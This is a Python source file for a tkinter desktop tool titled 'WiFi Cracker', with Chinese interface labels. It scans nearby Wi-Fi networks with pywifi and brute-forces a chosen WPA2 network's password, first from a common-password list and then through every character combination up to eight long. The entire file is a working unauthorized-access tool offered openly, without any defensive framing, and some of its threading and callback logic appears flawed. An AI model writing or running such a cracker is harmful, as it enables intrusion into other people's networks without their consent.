import pywifi
from pywifi import const
import time
import tkinter as tk
from tkinter import ttk
import itertools
import threading
from concurrent.futures import ThreadPoolExecutor
from PIL import Image
import pystray

class WiFiCracker:
    def __init__(self, root):
        self.root = root
        self.root.title("WiFi Cracker")
        self.root.geometry("600x400")

        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0]

        self.create_widgets()

        self.icon = None
        self.create_tray_icon()

    def create_widgets(self):
        self.scan_button = tk.Button(self.root, text="扫描WiFi", command=self.scan_wifi)
        self.scan_button.pack(pady=10)

        self.wifi_listbox = ttk.Treeview(self.root, columns=("SSID", "BSSID", "Signal"), show='headings')
        self.wifi_listbox.heading("SSID", text="SSID")
        self.wifi_listbox.heading("BSSID", text="BSSID")
        self.wifi_listbox.heading("Signal", text="Signal")
        self.wifi_listbox.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)

        self.unlock_button = tk.Button(self.root, text="解锁", command=self.unlock_wifi)
        self.unlock_button.pack(pady=10)

        self.status_label = tk.Label(self.root, text="状态: 等待扫描")
        self.status_label.pack(pady=10)

    def scan_wifi(self):
        self.status_label.config(text="状态: 正在扫描WiFi...")
        self.root.update_idletasks()
        self.root.after(100, self.perform_scan)

    def perform_scan(self):
        self.iface.scan()
        time.sleep(5)
        scan_results = self.iface.scan_results()
        self.wifi_listbox.delete(*self.wifi_listbox.get_children())
        for result in scan_results:
            self.wifi_listbox.insert("", "end", values=(result.ssid, result.bssid, result.signal))
        self.status_label.config(text="状态: 扫描完成")

    def unlock_wifi(self):
        selected_item = self.wifi_listbox.selection()
        if not selected_item:
            self.status_label.config(text="状态: 请选择一个WiFi")
            return

        ssid = self.wifi_listbox.item(selected_item, "values")[0]
        self.status_label.config(text=f"状态: 正在破解 {ssid}...")
        self.root.update_idletasks()

        threading.Thread(target=self.crack_wifi, args=(ssid,)).start()

    def crack_wifi(self, ssid):
        with ThreadPoolExecutor(max_workers=20) as executor:
            for password in self.generate_passwords():
                future = executor.submit(self.try_connect, ssid, password)
                future.add_done_callback(lambda f: self.update_status(f, password))

    def update_status(self, future, password):
        if future.result():
            self.status_label.config(text=f"状态: 破解成功，密码是 {password}")
        else:
            self.status_label.config(text=f"状态: 正在尝试密码 {password}")
            self.root.update_idletasks()

    def generate_passwords(self):
        common_passwords_file = "common_passwords.txt"
        with open(common_passwords_file, 'r') as f:
            for line in f:
                yield line.strip()

        chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+'
        for length in range(1, 9):
            for password in itertools.product(chars, repeat=length):
                yield ''.join(password)

    def try_connect(self, ssid, password):
        profile = pywifi.Profile()
        profile.ssid = ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = password

        self.iface.remove_all_network_profiles()
        tmp_profile = self.iface.add_network_profile(profile)
        self.iface.connect(tmp_profile)
        time.sleep(1)  # 减少等待时间

        if self.iface.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False

    def create_tray_icon(self):
        image = Image.open("icon.png")  # 确保你有一个名为 icon.png 的图标文件
        menu = (
            pystray.MenuItem('显示窗口', self.show_window),
            pystray.MenuItem('退出', self.exit_program)
        )
        self.icon = pystray.Icon("name", image, "WiFi Cracker", menu)
        self.icon.run_detached()

    def show_window(self):
        self.root.deiconify()

    def exit_program(self):
        self.icon.stop()
        self.root.destroy()

    def on_closing(self):
        self.root.withdraw()
        self.icon.run_detached()

if __name__ == "__main__":
    root = tk.Tk()
    app = WiFiCracker(root)
    root.protocol("WM_DELETE_WINDOW", app.on_closing)
    root.mainloop()